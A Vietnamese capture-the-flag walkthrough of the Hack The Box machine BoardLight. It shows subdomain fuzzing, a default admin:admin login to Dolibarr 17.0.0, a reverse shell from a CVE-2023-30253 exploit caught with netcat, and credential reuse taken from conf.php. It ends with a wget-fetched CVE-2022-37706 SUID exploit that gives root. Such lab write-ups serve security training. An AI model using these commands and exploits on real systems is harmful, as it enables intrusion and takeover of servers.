└─$ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.board.htb" -u http://board.htb -t 30
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://board.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.board.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 30
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
12 [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 99ms]
16 [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 93ms]
19 [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 93ms]
a.auth-ns [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 176ms]
0 [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 182ms]
10 [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 182ms]
a [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 183ms]
1 [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 185ms]
01 [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 185ms]
14 [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 184ms]
13 [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 184ms]
a01 [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 208ms]
5 [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 209ms]
11 [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 209ms]
18 [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 212ms]
9 [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 216ms]
a02 [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 216ms]
Tất cả đều là có thể truy cập được, điều này không đúng lắm. Khi sử dụng burpsuite để kiếm tra độ dài của response thì tôi nhận được kết quả cũng là 15949 giống với size mà ffuf đã quét ra được.
Tôi sẽ sử dụng thêm 1 vài options để bỏ qua tất cả các kết quả có size:15949 vì tôi biết chắc chắn nó không đúng.
Tôi sẽ thêm -o để ffuf ghi kết quả ra file và dùng grep để lấy ra các kết quả không phải là 15949
┌──(kali㉿kali)-[~/HTB/BoardLight]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.board.htb" -u http://board.htb -t 30 -o - | grep -v "15949"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://board.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.board.htb
:: Output file : -
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 30
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
crm [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 121ms]
Thêm nó vào file host và truy cập crm.board.htb
Enumeration
Tôi có 1 form đăng nhập và có 1 cái tên Dolibarr 17.0.0. Đây có thể là trình quản trị của site này và phiên bản của nó.
Thử đăng nhập với những tài khoản đơn giản thì tôi không ngờ là có thể truy cập được với admin:admin. Tuy nhiên thì sau khi truy cập, tôi cũng không làm thêm được gì bởi vì user này không có quyền quản trị.
Tìm kiếm các exploit của dolibarr 17.0.0 thì tôi nhận được CVE-2023-30253. Clone nó về và exploit theo hướng dẫn thôi
┌──(kali㉿kali)-[~/HTB/BoardLight/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253]
└─$ python3 exploit.py http://crm.board.htb admin admin 10.10.16.57 5555
[*] Trying authentication...
[**] Login: admin
[**] Password: admin
[*] Trying created site...
[*] Trying created page...
[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection
Quay trở lại listener
┌──(kali㉿kali)-[~/HTB/BoardLight/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253]
└─$ nc -lnvp 5555
listening on [any] 5555 ...
connect to [10.10.16.57] from (UNKNOWN) [10.10.11.11] 53084
bash: cannot set terminal process group (858): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$
Thực sự thì tôi không có hiểu biết cũng như kinh nghiệm sử dụng Dolibarr này, nên tôi đã nhờ đến sự giúp đỡ của Chatgpt để tìm kiếm các thông tin đăng nhập được lưu trên mã nguồn
Thử tìm file này trong mã nguồn
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ cat ../../conf/conf.php
<.htb/htdocs/public/website$ cat ../../conf/conf.php
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
// Take a look at conf.php.example file for an example of conf.php file
// and explanations for all possibles parameters.
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='*************';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
// Authentication settings
$dolibarr_main_authentication='dolibarr';
//$dolibarr_main_demo='autologin,autopass';
// Security settings
$dolibarr_main_prod='0';
$dolibarr_main_force_https='0';
$dolibarr_main_restrict_os_commands='mysqldump, mysql, pg_dump, pgrestore';
$dolibarr_nocsrfcheck='0';
$dolibarr_main_instance_unique_id='ef9a8f59524328e3c36894a9ff0562b5';
$dolibarr_mailing_limit_sendbyweb='0';
$dolibarr_mailing_limit_sendbycli='0';
//$dolibarr_lib_FPDF_PATH='';
//$dolibarr_lib_TCPDF_PATH='';
//$dolibarr_lib_FPDI_PATH='';
//$dolibarr_lib_TCPDI_PATH='';
//$dolibarr_lib_GEOIP_PATH='';
//$dolibarr_lib_NUSOAP_PATH='';
//$dolibarr_lib_ODTPHP_PATH='';
//$dolibarr_lib_ODTPHP_PATHTOPCLZIP='';
//$dolibarr_js_CKEDITOR='';
//$dolibarr_js_JQUERY='';
//$dolibarr_js_JQUERY_UI='';
//$dolibarr_font_DOL_DEFAULT_TTF='';
//$dolibarr_font_DOL_DEFAULT_TTF_BOLD='';
$dolibarr_main_distrib='standard';
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$
User flag
Vậy là tôi có thông tin để đăng nhập vào mysql. Tuy nhiên trước khi đăng nhập mysql thì tôi hay thử thêm 1 hướng nữa là sử dụng password của mysql để truy cập vào user xem có được không
Và boom! Password của mysql cũng là password của user
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ su larissa
su larissa
Password:
larissa@boardlight:/var/www/html/crm.board.htb/htdocs/public/website$ id
id
uid=1000(larissa) gid=1000(larissa) groups=1000(larissa),4(adm)
larissa@boardlight:/var/www/html/crm.board.htb/htdocs/public/website$
Quay sang ssh luôn cho thuận tiện, user flag cũng nằm ở đây
larissa@boardlight:~$ ls
Desktop Documents Downloads exploit.sh linpeas.sh Music Pictures Public sc.sh Templates user.txt Videos
Privilege escalation
Sau khi thử tất cả các cách thông thường đều không có kết quả, tôi phải tải linpeas lên máy để phân tích.
Sau khi chạy linpeas, tôi nhận được một vài kết quả bất thường trong phần SUID
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root 15K Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-sr-x 1 root root 15K Apr 8 18:36 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-x 1 root root 27K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys (Unknown SUID binary!)
-rwsr-xr-x 1 root root 15K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd (Unknown SUID binary!)
-rwsr-xr-x 1 root root 15K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight (Unknown SUID binary!)
-rwsr-xr-x 1 root root 15K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset (Unknown SUID binary!)
Thử tìm kiếm thông tin các exploit hoặc CVE về enlightenment_sys, tôi tìm thấy CVE-2022-37706-LPE-exploit. Clone nó về và tải exploit lên máy
┌──(kali㉿kali)-[~/HTB/BoardLight]
└─$ git clone https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit
Cloning into 'CVE-2022-37706-LPE-exploit'...
remote: Enumerating objects: 92, done.
remote: Counting objects: 100% (92/92), done.
remote: Compressing objects: 100% (92/92), done.
remote: Total 92 (delta 32), reused 14 (delta 0), pack-reused 0
Receiving objects: 100% (92/92), 498.76 KiB | 938.00 KiB/s, done.
Resolving deltas: 100% (32/32), done.
┌──(kali㉿kali)-[~/HTB/BoardLight]
└─$ cd CVE-2022-37706-LPE-exploit
┌──(kali㉿kali)-[~/HTB/BoardLight/CVE-2022-37706-LPE-exploit]
└─$ ll
total 20
-rwxrwxr-x 1 kali kali 709 Jun 2 14:03 exploit.sh
-rw-rw-r-- 1 kali kali 2014 Jun 2 14:03 PublicReferenceURL.txt
-rw-rw-r-- 1 kali kali 7119 Jun 2 14:03 README.md
drwxrwxr-x 2 kali kali 4096 Jun 2 14:03 screenshots
┌──(kali㉿kali)-[~/HTB/BoardLight/CVE-2022-37706-LPE-exploit]
└─$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Trên máy, tải exploit về và chạy thử
larissa@boardlight:~$ wget http://10.10.16.57:8080/exploit.sh
--2024-06-02 10:59:14-- http://10.10.16.57:8080/exploit.sh
Connecting to 10.10.16.57:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 709 [text/x-sh]
Saving to: ‘exploit.sh’
exploit.sh 100%[====================================================================================================================================================>] 709 --.-KB/s in 0.05s
2024-06-02 10:59:14 (13.1 KB/s) - ‘exploit.sh’ saved [709/709]
larissa@boardlight:~$ chmod +x exploit.sh
larissa@boardlight:~$ ./exploit.sh
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),1000(larissa)
#